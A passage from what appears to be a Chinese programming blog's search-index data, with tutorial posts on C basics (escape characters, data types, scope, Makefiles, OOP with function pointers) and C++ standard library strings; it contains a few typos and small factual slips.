9,以及下面这些符号:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n!\n“\n#\n%\n‘\n()\n+\n,\n-\n.\n/\n?\n\n\n;\n<>\n=\n?\n[]\n\\\n^\n_\n{}\n|\n~\n\n\n\n三字母词\n三字母词(trigrph),三字母词就是几个字符的序列,合起来表示另一个字符。三字母词使 C 环境可以在某些缺失一些必需的字符的字符集上实现。\n常见三字母词:\n\n\n\n\n\n\n\n\n\n??( [\n??< {\n??= #\n\n\n??) ]\n??> }\n??/ \\\n\n\n??! |\n??’ ^\n??- ~\n\n\n两个问号开头再尾随一共字符一般不会出现在其它表达式中,所以把三字母词用这种形式来表示,这样就不致于引起误解。\n\n\n\n\n当你编写某些 C 代码时,你在一些上下文环境里想使用某个特定的字符,却可能无法如愿,因为该字符在这个环境里有特别的意义。例如,双引号 “ 用于界定字符串常量,你如何在一个字符串常量内部包含一共双引号呢?这个适合就需要通过转义字符了。\n转义字符C 语言的转义字符用于表示那些不能直接在字符串中输入的字符。\n常见的转义字符包括:\n\n\n\n符号\n含义\n\n\n\n\\‘\n单引号\n\n\n\\“\n双引号\n\n\n\\?\n问号\n\n\n\\\\\n反斜线\n\n\n\\a\n响铃\n\n\n\\b\n退格\n\n\n\\f\n分页符\n\n\n\\n\n换行\n\n\n\\r\n回车\n\n\n\\t\n水平制表符\n\n\n\\v\n垂直制表符\n\n\n标识符标识符(indentifier)就是变量、函数、类型等的名字。它们由大小写字母、数字和下划线组成,但不能以数字开头。\nC 是一种大小写敏感的语言,所以 abc、Abc、abC 和 ABC 是 4 个不同的标识符。\n标识符的长度没有限制,但标准允许编译器忽略第 31 个字符以后的字符。标准同时允许编译器对用于表示外部名字(也就是由链接器操纵的名字)的标识符进行限制,只识别前六位不区分大小写的字符。\n下列 C 语言关键字是被保留的,它们不能作为标识符使用:\n\n\n\n\n\n\n\n\n\n\n\nauto\ndo\ngoto\nsigned\nunsigned\n\n\nbreak\ndouble\nif\nsizeof\nvoid\n\n\ncase\nelse\nint\nstatic\nvolatile\n\n\nchar\nenum\nlong\nstruct\nwhile\n\n\nconst\nextern\nregister\nswitch\ncontinue\n\n\nfloat\nreturn\ntypedef\ndefault\nfor\n\n\nshort\nunion\n\n\n\n\n\n注释注释用于在代码中添加说明文字,帮助他人理解代码的功能和意图。\n注释不会被编译器执行,因此不会影响程序的运行。\nC 语言支持两种类型的注释:\n单行注释\n//这是单行注释\n多行注释\n/*这是多行注释*/\n\n注意:注释不能够嵌套使用\n\n定义变量这里我们只介绍基本整型变量,详细的后面会讲述。\n常见的变量类型有:\n\nchar:一般用于表示单个字符\nshort:占两个字节的整型\nint:占四个字节的整型\nlong:至少2个字节,可能是4个字节。\n\n以下代码声明了一个int型的变量并初始化值为 10。\n利用printf格式化函数输出变量。\n实例\nint main(){\tint a=10;\tprintf("%d",a);\treturn 0;}\n\nscanf函数前面的printf函数用于输出内容,这里的scanf函数用于输入内容。\n既然要输入内容,那么输入的内容就必须要有地方存储。\n我们采用上面提到的变量来存储它。\n#include <stdio.h>int scanf(const char *format,...)\n\n参数\nformat:格式化字符串,用于指定输入的数据类型。\n常用格式化符号\n%d:整数\n%f:浮点数\n%c:字符\n%s:字符串\n\n\n...可变参数,用于存储输入的数据。每个变量应对应格式化字符串中的格式符。\nscanf参数变量前必须加&。\n\n\n\n\n\n示例\n下面代码定义了一个int变量 a 用于接收输入内容。\n然后利用printf函数将输入的内容打印出来。\nint main(){\tint a;\tscanf("%d",&a);\tprintf("%d\\n",a);\treturn 0;}\n\n\n计算两数之和以下程序定义了 3 个变量。\n先利用printf函数输出提示信息。\n通过scanf函数输入两个数,然后计算两个数的和存储到第三个变量。\n之后利用printf格式化输出将和输出。\n#include <stdio.h>int main(){ int a,b,sum; printf("请输入两个数字\\n"); scanf("%d %d",&a,&b); sum=a+b; printf("sum = %d\\n",sum); return 0;}\n\nMakefileMakefile 是一种自动化构建工具的配置文件,通常用于管理和自动化编译程序的过程。它定义了如何从源代码生成目标文件,以及在目标文件发送变化时如何重新构建这些文件。以下是 Makefile 的基本概念:\n\n目标(Target):需要生成的文件,如可执行文件或中间文件。目标通常是文件名,如hello。\n依赖(Dependency):目标文件生成所依赖的源文件或其它目标文件。例如,hello依赖于main.o和printhello.o。\n规则(Rule):指定如何从依赖文件生成目标文件的命令。规则通常包括目标文件、依赖文件以及执行的命令。\n变量(Variable):用于定义可重复使用的值,如编译器或编译选项。变量简化了 Makefile 的编写和维护。例如,C=gcc。\n伪目标(Phony Target):不代表实际文件的目标,如clean,用于执行特定的操作,如删除生成的文件。\n\n在 Linux 下进行 C 语言程序开发我们离不开 Makefile,Makefile 可以提升我们管理代码和编译代码的效率,可以避免重复工作。\n我们利用 Makefile 来编译上述程序\n使用 Makefile 的前提是系统上要安装 make 工具。\nUbuntu下可以执行如下命令安装。\napt install make\n\n#规则:sum:main.c#依赖:main.c#命令:gcc - sum main.csum: main.c gcc -o sum main.c.PHONY:clean#伪目标:.PHONY:clean#规则:clean 执行下列命令clean: rm -r sum\n\n将 Makefile 保存到代码文件目录命名为 Makefile。\n然后使用make命令进行编译。\n直接在命令行执行 make 命令即可。\n对于上述 Mkaefile我们也可以写成下面这样,增加通用性。\n#变量C=gccTARGET=sumOBJ=main.c#规则:目标:依赖#命令:$(C)替换为gcc,$@ 代表目标文件名,$^ 代表所有依赖文件$(TARGET):$(OBJ)\t$(C) -o $@ $^#伪目标:删除生成的目标文件.PHONY:cleanclean:\trm -f $(TARGET)\n\n上面的 Makefile 可以通过使用 make clean命令清理掉编译后的可执行文件,便于重新编译。\n这些都是比较简单的,随着对 C 的学习我们还会编写更复杂的 Makefile。\n","categories":["编程"],"tags":["C"]},{"title":"C chapter2 数据","url":"/2024/10/27/program/c/c-ptr-2/","content":"基本数据类型在 C 语言中,仅有 4 种基本数据类型——整型、浮点型、指针和聚合类型(如数组和结构等)。所有其他的类型都是从这 4 种基本类型的某种组合派生而来。\n整型整型包括字符、短整型和长整型,它们都分为有符号(singed) 和无符号(unsigned) 两种版本。\n长整型至少应该和整型一样长,而整型至少应该和短整型一样长。\n\n注意:标准并没有规定整型必须比短整型长,只是规定它不得比短整型短。\n\n变量的最小范围:\n\n\n\n类型\n最小范围\n\n\n\nchar\n0~127\n\n\nunsigned char\n0~255\n\n\nshort\n-32767~32767\n\n\nunsigned short\n0~65535\n\n\nint\n-32767~32767\n\n\nunsigned int\n0~65535\n\n\nlong\n-2147483647~2147483647\n\n\nunsigned long\n0~4294967295\n\n\nshort int 至少 16 位,long int 至少 32 位。至于缺省(默认)的 int 究竟是 16 位还是 32 位,或者是其他值,则由编译器设计者决定。通常这个选择的缺省值是这种机器最为自然(高效)的位数。同时你还应该注意到标准也没有规定这 3 个值必须不一样。如果某种机器的环境的字长是 32 位,而且没有什么指令能够更有效地处理更短的整型值,它可能把这 3 个整型值都设定为 32 位。\n头文件 limits.h 说明了各种不同的整数类型的特点。它定义了下表所示的各个名字。limits.h 同时定义了下列名字:CHAR_BIT 是字符型的位数(至少 8 位);CHAR_MIN 和 CHAR_MAX 定义了缺省字符类型的范围,它们或者应该与 SCHAR_MIN 和 SCHAR_MAX 相同,或者应该与 0 和 UCHAR_MAX 相同;最后,MB_LEN_MAX 规定了一个多字节字符最多允许的字符数量。\n变量范围的限制:\n\n\n\n\nsigned\n\nunsigned\n\n\n\n类型\n最小值\n最大值\n最大值\n\n\n字符\nSCHAR_MIN\nSCHAR_MAX\nUCHAR_MAX\n\n\n短整型\nSHRT_MIN\nSHRT_MAX\nUSHRT_MAX\n\n\n整型\nINT_MIIN\nINT_MAX\nUINT_MAX\n\n\n长整型\nLONG_MIN\nLONG_MAX\nULONG_MAX\n\n\n尽管设计char类型变量的目的是为了让它们容纳字符型值,但字符在本质上是小整型值。缺省的char要么是signed char,要么是 unsigned char,这取决于编译器。这意味着不同机器上的char可能拥有不同范围的值。所以,只有当程序所使用的char型变量的值位于signed char和unsigned char的交集中,这个程序才是可移植的。\n\n\n\n\n\n在一个把字符当作小整型值的程序中,如果显式地把这类变量声明为signed或unsigned,可以提高这类程序的可移植性。这类做法可以确保不同的机器中在字符是否为有符号值方面保持一致。\n\n提示:当可移植问题比较重要时,字符是否为有符号数就会带来两难的境地。最佳妥协方案就是把存储于 char 型变量的值限制在signed char和 unsigned char的交集内,这可以获得最大程度的可移植性,同时又不牺牲效率。\n\n整型字面值字面值(literal) 这个术语是字面值常量的缩写——这是一种实体,指定了本身的值,并且不允许发生改变。这个特点非常重要,因为 C 标准允许命名常量的创建,它与普通变量极为类似。区别在于,当它被初始化以后,它的值便不能改变。\n当程序中出现整型字面值时,它是属于所有整型不同类型中的哪一个?答案取决于字面值是如何书写的,但是你可以在有些字面值的后面添加一个后缀来改变缺省的规则。在整数字面值后面添加字符 L 或 l,可以使这个整数倍解释为long整型值,字符 U 或 u 则用于把数值指定为 unsigned整型值。如果在一个字面值后面添加这两组字符中的各一个,那么它就被解释为unsigned long整型值。\n在源代码中,用于表示整型字面值的方法有很多。其中最自然的方式是十进制整型值,诸如:\n123 355 -234\n十进制整型字面值可能是int、long或unsigned long。在缺省情况下,它是最短类型但能完整容纳这个值。\n整型也可以用八进制来表示,只要在数值前面以 0 开头。整数也可以用十六进制来表示,它以 0x 开头。\n例:\n0123 012345 003420x32 0xffff 0xab2342\n在八进制字面值中,数字 8 和 9 是非法的。在十六进制字面值中,可以使用字母 ABCDEF 或 abcdef。八进制和十六进制字面值可能的类型是int、unsigned int、long或unsigned long。在缺省情况下,字面值的类型就是上诉类型中最短但足以容纳整个值的类型。\n另外还有字符常量。它们的类型总是int。你不能在它们后面添加unsigned或long后缀。字符常量就是一个用单引号包围起来的单个字符(或字符转义序列或三字母词),如:\n'M' '\\n' '??(' '\\377'\n标准也允许诸如 ‘abc’ 这类的多字节字符常量,但它们的实现在不同的环境中可能不一样,所以不鼓励使用。\n最后,如果一个多字节字符常量的前面有一个 L,那么他就是宽字符常量(wide characterliteral)。\n如:\nL'X' L'e^'\n当运行时环境支持一种宽字符集时,就有可能使用它们。\n\n提示:整型字面值采用何种书写方式,应该取决于这个字面值使用时的上下文环境\n\n当一个字面值用于确定一个字中某些特定位的位置时,将它写成十六进制或八进制更为合适,因为这种写法更清晰地显示了这个值的特殊本质。\n例如,983040 这个值在第 16~19 位都是1,如果它采用十进制写法,你绝对看不出这一点。但是,如果将它写成十六进制的形式,它的值就是 0XF00,清晰地显示出那几位都是 1 而剩余的位都是 0。如果在某种上下文环境中,这些特定的位非常重要时,那么把字面值写成十六进制形式可以使操作的含义对于读者而言更为清晰。\n如果一个值被当作字符使用,那么把这个值表示为字符常量可以使这个值的意思更为清晰。\n例如:\nvalue=value-48;value=value-\\60;\n和下面这条语句\nvalue=value-'0';\n的含义完全一样,但最后一条语句的含义更为清晰,它用于表示把一个字符转换为二进制值。更为重要的是,不管你所采用的是何种字符集,使用字符常量所产生的总是正确的值,所以它能提高程序的可移植性。\n枚举类型枚举(enumerated) 类型就是指它的值为符号常量而不是字面值的类型,它们以下面这个形式声明:\nenum JSJ{ CUP,PINT,QUART}\n\n这条语句声明了一共类型,称为 JSJ。这种类型的变量按下列方式声明:\necum JSJ jug,can,bottle\n\n如果某种特别的枚举类型的变量只使用一个声明,你可以把上面两条语句组合成下面的样子:\necum{CPU,PINT,QUART}\tjug,can,bottle;\n这种类型的变量实际上以整型的方式存储,这些符号名的实际值都是整型值。这里 CPU 是 0,PINT 是 1,以此类推。\n适当的时候你可以为这些符号名指定特定的整型值,如下所示:\nenum {CPU=1,PINT=2,CALLON=3}\n只对部分符号名用这种方式进行赋值也是合法的。如果某个符号名未显示指定一个值,那么它的值就比前面一个符号名的值大 1。\n\n提示:符号名被当作整型常量处理,声明为枚举类型的变量实际上是整数类型。这个事实意味着你可以给 Jar_Type 类型的变量赋诸如 -623这样的字面值,你也可以把 CPU 这个值赋给任何整型变量。但是你要避免以这种方式使用枚举,因为把枚举变量同整数无差别地混合在一起使用,会削弱它们值的含义。\n\n浮点型诸如 3.14159 和 6.324x10^2 这样的数值无法按照整数存储。第一个数并非整数,而第二个数远远超出了计算机整数所能表达的范围。但是,它们可以用浮点数的形式存储。它们通常以一个小数以及一个以某个假定数为基数的指数组成,例如:\n.3243fx16 .110010010000111111x2^2\n\n浮点数包括float、double和long double类型。通常,这些类型分别提供单精度、双精度以及在某些支持扩展精度的机器上提供扩展精度。C 标准仅仅规定long double至少和double一样长,而double至少和float一样长。标准同时规定了一个最小范围:所有浮点数类型至少能够容纳从 10^-37 到 10^37 之间的任何值。\n头文件float.h定义了名字FLT_MAX、DBL_MAX和LDBL_MAX,分别表示float、double和long double所能存储的最大值。而FLT_MIN、DBL_MIN和LDBL_MIN则分别表示float、double和long double能够存储的最小值。这个文件另外还定义一些和浮点值的实现有关的某些特性的名字,例如浮点数所使用的基数、不同长度的浮点数的有效数字的位数等。\n浮点数字面值重视写成十进制的形式,它必须有一个小数点或一个指数,也可以两者都有。\n例:\n3.14159 1E10 25. .5 6.023e23\n浮点数字面值在缺省情况下都是double类型的,除非它的后面跟一个 L 或 l 表示它是一个long double类型的值,或者跟一个 F 或 f 表示它是一个float类型的值。\n指针指针是 C 语言如此流行的一个重要原因。指针可以有效地实现诸如树和表这类高级数据结构。\n变量的值存储与计算机的内存中,每个变量都占据一个特定的位置。每个内存位置都由地址唯一确定并引用,就像一条街道上的房子由它们的门牌号码标识一样。指针只是地址的另一个名字罢了。指针变量就是一个其值为另外一个(一些)内存地址的变量。C语言拥有一些操作符,你可以获得一个变量的地址,也可以通过一个指针变量取得它所指向的值或数据结构。\n指针常量(pointer constant)指针常量与非指针常量在本质上是不同的,因为编译器负责把变量赋值给计算机内存中的位置,程序员实现无法指定某个特定的变量将存储到内存中的哪个位置。因此,你通过操作符获得一个变量的地址而不是之间把它的地址写成字面值常量的形式。\n例如,如果我们希望指定变量 xyz 的地址,我们无法书写一个类似0xff2044ec这样的值,因为我们不知道这是不是编译器实际存放这个变量的内存位置。事实上,当一个函数每次被调用时,它的自动变量(局部变量)可能每次分配的内存位置都不相同。因此,把指针常量表达式数值字面值的形式几乎没有用处,所以 C 语言内部并没有特地定义这个概念。\n字符串常量(string literal)字符串常量就是一串以NUL字节结尾的零个或多个字符。字符串通常存储在字符数组中,这也是 C 语言没有显示的字符串类型的原因。由于 NUL 字节是用于终结字符串的,所以在字符串内部不能有NUL字节。不过,在一般情况下,这个限制并不会造成问题。之所以选择NUL作为字符串的终止符,是因为它不是一个可打印的字符。\n字符串常量的书写方式是用一对双引号包围一串字符,如下所示:\n"Hello" "\\aWarning\\a" "Line 1\\nLine2" ""\n最后一个例子说明字符串常量(不像字符常量)可以是空的。尽管如此,即使是空字符串,依然存在作为终止符的 NUL 字节。\n\n如果在使用字符串时需要修改字符串,请把它存储于数组中。\n\n之所以把字符串常量和指针放在一起讨论,是因为在程序中使用字符串常量会生成一个 “指向字符的常量指针”。当一个字符串常量出现于一个表达式中时,表达式所使用的值就是这些字符所存储的地址,而不是这些字符本身。因此,你可以把字符串常量赋值给一个 “指向字符的指针”,后者指向这些字符所存储的地址。但是,你不能把字符串常量赋值给一个字符数组,因为字符串常量的直接值是一个指针,而不是这些字符本身。\n基本声明基本的数据类型已经知道了,接下来就要学习如何声明变量了。\n变量声明的基本格式:\n说明符 声明表达式列表\n对于简单的类型,声明表达式列表就是被声明的标识符的列表。对于更为复杂的类型,声明表达式列表种的每个条目实际上是一个表达式,显示被声明的名字的可能用途。\n说明符(specifier) 包含了一些关键字,用于描述被声明的标识符的基本类型。说明符也可以用于改变标识符的缺省存储类型和作用域。\n相等的整型声明:\n\n\n\n\n\n\n\n\nshort signed short\nunsigned short\n\n\nint signed int\nunsigned int\n\n\nlong signed long\nunsigned long\n\n\n初始化在一个声明中,你可以给一个标量变量指定一个初始值,方法是在变量名后面跟一个等号(赋值号),后面是你想要赋给变量的值。\n例:\nint i=1;\n这条语句声明 i 为一个整型变量,其初始值为 15。\n声明简单数组声明一个一维数组,在数组名后面要跟一对方括号,方括号里面是一个整数,指定数组中元素的个数。\n例:\nint values[10];\n上述代码中我们声明了一个整型数组,数组包含 10 个整型元素。\n我们可以从另一个角度理解上述代码,我们利用 名字 values 加一个下标,产生一个类型为 int 的值(共有 10 个整型值)。\n数组的下标总是从 0 开始,最后一个元素的下标是元素的数目减 1。\nC 数组另一个值得关注的地方是,编译器并不检查程序对数组下标的引用是否在数组的合法范围之内。这种不加检查的行为有好处也有坏处。好处是不需要浪费时间对有些已知是正确的数组下标进行检查。坏处是这样做将使无效的下标引用无法被检测出来。\n一个良好的经验法则是:\n如果下标值是从那些已知是正确的值计算得来,那么就无需检查它的值。如果一共用作下标的值是根据某种方法从用户输入的数据产生而来的,那么在使用它之前必须进行检测,确保它们位于有效的范围之内。\n声明指针声明表达式也可用于声明指针。\n例:\nint *a;\n这条语句表示 *a 产生的结果类型是int。知道了*操作符执行的是间接访问操作以后,我们可以推断 a 肯定是一个指向int的指针。\n\n警告:C 在本质上是一种自由形式的语言,这很容易诱使你把星号写在靠近类型的一侧,如:int * a;这个声明与前面一个声明具有相同的意思,而且看上去更为清楚,a 被声明为类型为 int* 的指针。\n\n隐式声明C 语言中有几种声明,它的类型名可以省略。\ntypedefC语言支持一种叫作 typedef 的机制,它允许你为各种数据类型定义新名字。typedef 声明的写法和普通的声明基本相同,只是把 typedef 这个关键字写在声明的前面。\n例:\ntypedef char * string;\n\n这个声明把标识符 string 作为指向字符的指针类型的新名字。你可以像使用基本类型一样在下面的声明中使用这个新名字。\n例如:\nstring name;\n声明 name 是一个指向字符的指针。\n使用typedef声明类型可以减少使声明变得又臭又长的危险,尤其是那些复杂的声明。而且,如果你以后觉得应该修改程序所使用的一些数据的类型时,修改一个typedef声明比修改程序中与这种类型的所有变量(和函数)的所有声明要容易得多。\n\n提示:你应该使用typedef而不是 #define来创建新的类型名,因为后者无法正确地处理指针类型。\n\n例如:\n#define d_ptr_to_char char *d_ptr_to_char a,b;\n正确地声明了 a,但是 b 却被声明为一个字符。在定义更为复杂的类型名字时,如函数指针或指向数组的指针,使用typedef更为合适。\n常量通过使用 const 关键字来声明常量。\n例:\nint const a;const int a;\n这两条语句都把 a 声明为一个整数,它的值不能被修改。\n当然,由于 a 的值无法被修改,所以你无法把任何东西赋值给它。如此一来,你怎样才能让它在一开始拥有一个值呢?\n有两种办法:首先,你可以在声明时对它进行初始化,如下所示:\nint const a =10\n其次,在函数中声明为 const 的形参在函数被调用时会得到实参的值。\n当涉及到指针变量时,情况就变得更加有趣,因为有两样东西都有可能成为常量——指针变量和它所指向的实体。\n例:\nint *pi;\npi 是一个普通的指向整型的指针。而变量\nint const *pci;\n则是一个指向整型常量的指针。你可以修改指针的值,但你不能修改它所指向的值。相比之下:\nint * const cpi;\n则声明 cpi 为一个指向整型的常量指针。此时指针是常量,它的值无法修改,但你可以修改它所指向的整型的值。\nint const * const cpci;\n最后,在 cpci 这个例子里,无论是指针本身还是它所指向的值都是常量,不允许修改。\n\n当你声明变量时,如果变量的值不会被修改,你应当在声明中使用 const 关键字。\n\n#define指令是另一种创建名字常量的机制。\n例:\n#define PI=3.1415926535const double pi=PI;\n在这种情况下,使用#define比使用 const 变量更好。因为只要允许使用字面值常量的地方都可以使用前者,比如声明数组的长度。 const 变量只能用于允许使用变量的地方。\n\n提示:名字常量非常有用,因为它们可以给数值起符号名,否则它们就只能写成字面值的形式\n\n作用域当变量在程序的某个部分被声明时,它只有在程序的一定区域才能被访问。这个区域由标识符的作用域(scope)决定。标识符的作用域就是程序中该标识符可以被使用的区域。例如,函数的局部变量的作用域局限于该函数的函数体。这个规则意味着两点。首先,其它函数都无法通过这些变量的名字访问它们,因为这些变量在它们的作用域之外便不再有效。其次,只要分属不同的作用域,你可以给不同的变量起同一个名字。\n编译器可以确认 4 种不同类型的作用域——文件作用域、函数作用域、代码块作用域和原型作用域。标识符声明的位置决定它的作用域。标识符声明的位置决定它的作用域。\n代码块作用域位于一对花括号之间的所有语句称为一个代码块。任何在代码块的开始位置声明的标识符都具有代码块作用域(block scope) ,表示它们可以被这个代码块中的所有语句访问。\n当代码块处于嵌套状态时,声明与内层代码块的标识符的作用域到达该代码块的尾部便告终止。然而,如果内层代码块有一个标识符的名字与外层代码块的一个标识符同名,内层的那个标识符就将隐藏外层的标识符——外层的那个标识符无法在内层代码块中通过名字访问。\n\n提示:你应该避免在嵌套的代码块中出现相同的变量名。\n\n文件作用域任何在代码块之外声明的标识符都具有文件作用域(file scope),它表示这些标识符从它们的声明之处知道它所在的源文件结尾处都是可以访问的。在文件中定义的函数名也具有文件作用域,因为函数名本身并不属于任何代码块。我应该指出,在头文件中编写并通过#include指令包含到其他文件中的声明就好像它们是直接写在那些文件中一样。它们的作用域并不局限于头文件的文件尾。\n原型作用域原型作用域(prototype scope) 只适用于在函数原型中声明的参数名。在原型中(与函数的定义不同),参数的名字并非必需。但是,如果出现参数名,你可以随你所愿给它们取任何名字,它们不必与函数定义中的形参名匹配,也不必与函数实际调用时所传递的实参匹配。原型作用域防止这些参数名与程序其他部分的名字冲突。事实上,唯一可能出现的冲突就是在同一个原型中不止一次地使用同一个名字。\n函数作用域最后一种作用域的类型是函数作用域(function scope)。它只适用于语句标签,语句标签用于 goto 语句。基本上,函数作用域可以简化为一条规则——一个函数中的所有语句标签必须唯一。\n链接属性当组成一个程序的各个源文件分布被编译之后,所有的目标文件以及那些从一个或多个函数库中引用的函数链接在一起,形成可执行程序。\n标识符的链接属性(linkage) 决定如何处理在不同文件中出现的标识符。标识符的作用域与它的链接属性有关,但这两个属性并不相同;\n链接属性一共有 3 种——external(外部)、internal(内部)和 none(无)。没有链接属性的标识符(none)总是被当作单独的个体,也就是说该标识符的多个声明被当作独立不同的实体。\n存储类型变量的存储类型(storage class)是指存储变量值的内存类型。变量的存储类型决定变量何时创建\n变量的缺省存储类型取决于它的声明位置。凡是在任何代码块之外声明的变量总是存储于静态内存中,也就是不属于堆栈的内存,这类变量称为静态(static)变量。对于这类变量,你无法为它们指定其他存储类型。静态变量在程序运行之前创建,在程序的整个指向期间始终存在。它始终保持原先的值,除法给它赋一个不同的值或者程序结束。\nstatic关键字当用于不同的上下文环境时,static 关键字具有不同的意思。\n当它用于函数声明时,或用于代码块之外的变量声明时,static 关键字用于修改标识符的链接属性,从 external 改为 internal,但标识符的存储类型和作用域不受影响。用这种方式声明的函数或变量只能在声明它们的源文件种访问。\n当它用于代码块内部的变量声明时,static 关键字用于修改变量的存储类型,从自动变量修改为静态变量,但变量的链接属性和作用域不受影响。用这种方式声明的变量在程序执行之前创建,并在程序的整个执行期间一直存在,而不是每次在代码块开始执行时创建,在代码块执行完毕后销毁。即存储在数据段而不是堆栈。\n","categories":["编程"],"tags":["C"]},{"title":"C的面向对象编程","url":"/2024/10/25/program/c/c-oop/","content":"关于C面向对象编程的研究。\n前段时间在知乎上看到一篇文章,一个大佬说面向对象是一种思想,用C也可以写出很好的面向对象的程序。\n\n文章链接: https://www.zhihu.com/question/30567850/answer/2602179225\n\n于是让我产生了一点好奇,所以就研究了一下C如何进行面向对象编程。\n通过结构体和函数指针来模拟面向对象编程。\n#include <stdio.h>#include <stdlib.h>#include <string.h>// 定义一个结构体,模拟一个类typedef struct Person { char name[50]; int age; // 成员函数(通过函数指针实现) void (*setName)(struct Person*, const char*); void (*setAge)(struct Person*, int); void (*display)(const struct Person*);} Person;// 成员函数的实现void setName(Person* p, const char* name) { strncpy(p->name, name, sizeof(p->name) - 1); p->name[sizeof(p->name) - 1] = '\\0'; // 确保字符串结束符}void setAge(Person* p, int age) { p->age = age;}void display(const Person* p) { printf("Name: %s\\n", p->name); printf("Age: %d\\n", p->age);}// 创建一个新的 Person 实例Person* createPerson(const char* name, int age) { Person* p = (Person*)malloc(sizeof(Person)); if (p != NULL) { p->setName = setName; p->setAge = setAge; p->display = display; p->setName(p, name); p->setAge(p, age); } return p;}// 释放 Person 实例void destroyPerson(Person* p) { free(p);}int main() { // 使用模拟的面向对象方式 Person* person = createPerson("Alice", 30); person->display(person); // 修改对象的属性 person->setName(person, "Bob"); person->setAge(person, 25); person->display(person); // 清理 destroyPerson(person); return 0;}\n","categories":["编程"],"tags":["C"]},{"title":"C++ chapter3 标准库类型","url":"/2024/10/27/program/cpp/cpp-3/","content":"除了这些在语言中定义的类型外,C++标准库还定义了许多更高级的抽象数据类型(abstract data type)。之所以说这些标准库类型是更高级的,是因为其中反映了更复杂的概念;之所以说它们是抽象的,是因为我们在使用时不需要关心它们是如何表示的,只需指定这些抽象数据类型支持哪些操作就可以了。\n两种最重要的标准库类型是string和vector。string类型支持长度可变的字符串,vector可用于保存一组指定类型的对象。说它们重要,是因为它们在C++定义的级别类型基础上作了一些改进。\n另一种标准库类型提供了更方便和合理有效的语言级的抽象设施,它就是bitset类。通过这个类可以把某个值当作位的集合来处理。与位操作符相比,bitset类提供操作位更直接的方法。\n命名空间的using声明在前面看到的程序都是通过直接说明名字来自std命名空间,来引用标准库中的名字。这些名字都使用了::操作符,该操作符是作用域操作符。它的含义是右操作数的名字可以在左操作数的作用域中找到。因此,std::cin的意思是说所需名字cin是在命名空间std中定义的。显然,这样这样非常麻烦。\nC++提供了更简洁的方式来使用命名空间成员。using声明。\n使用using声明可以在不需要加前缀namespace_name::的情况下访问命名空间中的名字。\nusing namespace::name;\n一旦使用了using声明,我们就可以直接引用名字,而不需要再引用该名字的命名空间:\nusing std::cin;using std::string;\n\n\n1.每个名字都需要一个using声明\n一个using声明一次只能作用于一个命名空间成员。using声明可用来明确指定在程序中用到的命名空间中的名字,如果希望使用std中的几个名字,则必须为要用到的每个名字都提供一个using声明。\nusing std::cin;using std::cout;using std::endl;\n\n\n2.使用标准库类型的类定义\n有一种情况下,必须总是使用完全限定的标准库名字:在头文件中。理由是头文件的内容会被预处理器复制到程序中。用#include包含文件时,相当于头文件中的文本将称为我们编写的文件的一部分。如果在头文件中放置using声明,就相当于在包含该头文件的每个程序中都放置了同一using声明,不论该程序是否需要using声明。\n\n注意:在编译我们提供的实例程序前,读者一定要注意在程序中添加适当的#include和using声明。\n\n标准库string类型string类型支持长度可变的字符串,C++标准库将负责管理与存储字符相关的内存,以及提供各种有用的操作符。标准库string类型的目的就是满足对字符串的一般应用。\n与其他的标准库类型一样,用户程序要使用string类型对象,必须包含相关头文件。如果提供了合适的using声明,那么编写处理的程序将会变得简短些:\n#include <string>using std::string;\n\nstring对象的定义和初始化string标准库支持几个构造函数。构造函数是一个特殊成员函数,定义如何初始化该类型的对象下表列出了几个string类型常用的构造函数。当没有明确指定对象初始化式时,系统将使用默认构造函数。\n\n\n\n\n几种格式化string对象的方式\n\n\n\nstring s1;\n默认构造函数,s1为空串\n\n\nstring s2(21);\n将s2初始化为s1的一个副本\n\n\nstring s3("value");\n将s3初始化为一个字符串字面值\n\n\nstring s4(n,'c');\n将s4初始化为字符’c’的n个副本\n\n\n\n警告:标准库string类型和字符串字面值因为历史原因以及未来与C语言兼容,字符串字面值与标准库string类型不是同一种类型。\n\nstring对象的读写cin>>s;\n从标准输入读取string,并将读入的串存储在s中。string类型的输入操作符:\n\n读取并忽略开头所有的空白字符(入空格,换行符,制表符)。\n读取字符直至再次遇到空白字符,读取终止。\n\n输入和输出操作的行为与内置类型操作符级别类似。\n1.读入未知数目的string对象\n和内置类型的输入操作符一样,string的输入操作符也会返回所读的数据流。因此,可以把输入操作作为判断条件。\n下面的程序将从标准输入读取一组string对象,然后在标准输出上逐行输出:\nint main(){\tstring word;\twhile(cin>>word){\t\tcout<<word<<endl;\t}\treturn 0;}\n\n2.用getline读取整行文本\n这个函数接受两个参数:一个输入流对象和一个string对象。getline函数从输入流的下一行读取,并保存读取的内容到string中,但不包括换行符。和输入操作符不一样的是,getline并不忽略开头的换行符。只要getline遇到换行符,即便它是输入的第一个字符,getline也将停止读入并返回。如果第一个字符就是换行符,则string参数将被置为空string。\ngetline函数将istream参数作为返回值,和输入操作符一样也把它用作判断条件。\nint main(){\tstring line;\twhile(getline(cin,line))\t\tcout<<line<<endl;\treturn 0;}\n\n\n由于getline函数返回时丢弃换行符,换行符将不会存储在string对象中。\n\nstring对象的操作\n\n\n\nstring操作\n\n\n\ns.empty()\n如果s为空字符串,则返回true,否则返回false\n\n\ns.size()\n返回s中字符的个数\n\n\ns[n]\n返回s位置为n的字符,位置从0开始计数\n\n\ns1+s2\n把s1和s2连接成一个新字符串,返回新生成的字符串\n\n\ns1=s2\n把s1内容替换为s2的副本\n\n\nv1==v2\n比较v1与v2的内容,相等则返回true,否则返回false\n\n\n!=,<,<=,\n保持这些操作符惯有的含义\n\n\n>和>=\n\n\n\n1.string的size和empty操作\n\n\n\nstring对象的长度指的是string对象中字符的个数,可以通过size操作获取:\nint main(){\t\tstring st("The expense of spirit\\n");\t\tcout<<st.size()<<endl;\t\treturn 0;}\n\n了解string对象是否为空是有用的。一种方法是将size与0进行比较:\nif(st.size()==0)\n\n本例中,程序员并不需要知道string对象中有多少个字符,只想知道size是否为0。用string的成员函数empty()可以直接回答这个问题:\nif(st.empty())\n\nempty()成员函数将返回bool值,如果string对象为空则返回true,否则返回false。\n2.string::size_type类型\n从逻辑上来讲,size()成员函数似乎应该返回整型数值,或为无符号整数。\n但实际上,size操作返回的是string::size_type类型的值。我们需要对这种类型做一些解释。\nstring类类型和许多其他库类型都定义了一些配套类型(companion type)。通过这些配套类型,库类型的使用就能与机器无关(machine-independent)。size_type就是这些配套类型中的一种。它定义为与unsigned型(unsigned int 或 unsigned 